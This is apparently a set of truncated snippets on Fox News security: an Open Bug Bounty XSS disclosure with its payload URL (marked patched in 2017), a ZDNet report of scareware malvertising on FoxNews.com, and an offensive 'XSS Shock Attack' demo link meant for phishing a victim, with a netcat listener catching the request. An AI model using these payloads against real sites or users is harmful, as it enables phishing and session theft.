insider.foxnews.com XSS vulnerability

Vulnerable URL: http://insider.foxnews.com/people/adam-housley/x%22%3E%3CsvG%20onLoad=prompt%28/openbugbounty/%29%3E/?page=1 Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:04 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

Scareware pops up at FoxNews.com

From ZDNet Zero Day Dancho Danchev There have been numerous reports from affected users that a scareware fake anti-virus programs have been poping-up at FoxNews.com during the last couple of days, through a malvertising campaign. This most recent case of malvertising once again demonstrates that...

foxnews-xss.txt

Foxnews 0day XSS Shock Attack Demo link to send to a fish: http://www.foxnews.com/video2/launchPage.html?http://localhost/ With netcat listen on localhost : listening on any 80 ... connect to localhost 127.0.0.1 from localhost 127.0.0.1 1964 GET...